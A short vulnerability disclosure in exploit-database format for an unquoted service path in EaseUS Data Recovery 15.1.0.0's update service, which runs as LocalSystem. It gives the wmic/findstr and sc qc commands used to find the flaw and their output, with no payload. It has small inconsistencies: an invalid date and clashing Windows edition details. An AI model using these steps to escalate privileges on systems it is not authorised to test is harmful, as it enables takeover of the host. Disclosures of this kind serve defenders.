EaseUS Data Recovery 15.1.0.0 Unquoted Service Path

`# Exploit Title: EaseUS Data Recovery - 'ensserver.exe' Unquoted Service Path  
# Discovery by: bios  
# Discovery Date: 2022-18-04  
# Vendor Homepage: https://www.easeus.com/  
# Tested Version: 15.1.0.0  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Microsoft Windows 10 Pro x64  
  
# Step to discover Unquoted Service Path:  
  
C:\>wmic service get name,pathname,displayname,startmode | findstr /i auto  
| findstr /i /v "C:\Windows\\" | findstr /i /v """  
EaseUS UPDATE SERVICE  
EaseUS UPDATE SERVICE C:\Program Files  
(x86)\EaseUS\ENS\ensserver.exe Auto  
  
C:\>sc qc "EaseUS UPDATE SERVICE"  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: EaseUS UPDATE SERVICE  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\EaseUS\ENS\ensserver.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : EaseUS UPDATE SERVICE  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
C:\>systeminfo  
  
Host Name: DESKTOP-HR3T34O  
OS Name: Microsoft Windows 10 Home  
OS Version: 10.0.19042 N/A Build 19042  
  
`